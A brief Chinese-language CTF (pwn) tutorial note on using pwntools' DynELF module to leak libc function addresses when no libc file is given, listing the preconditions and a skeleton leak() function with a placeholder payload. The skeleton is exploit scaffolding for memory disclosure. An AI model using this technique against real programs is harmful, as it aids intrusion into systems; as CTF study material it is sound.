pwn题的无libc泄露用到的pwntools的DynELF模块
实现条件是:
有指向libc空间的 能泄露libc空间信息的函数 (write和puts函数)
能重复触发漏洞
DynELF模块的基本框架:
p=process('./xxx')
def leak(address):
payload='xxx'+address+'xxx' #address就是你要泄露的地址 ,payload是你控制程序泄露出address处的信息的攻击代码
p.send(payload)
leaked=p.recv(4)#接受的字节要看程序是32位还是64位来决定 ,32位接受4个字节的数据 而64位接受8个字节的数据
print "[%s] ->[%s]=[%s]" % (hex(address),hex(u32(leaked)),repr(leaked))#输出泄露的信息
return leaked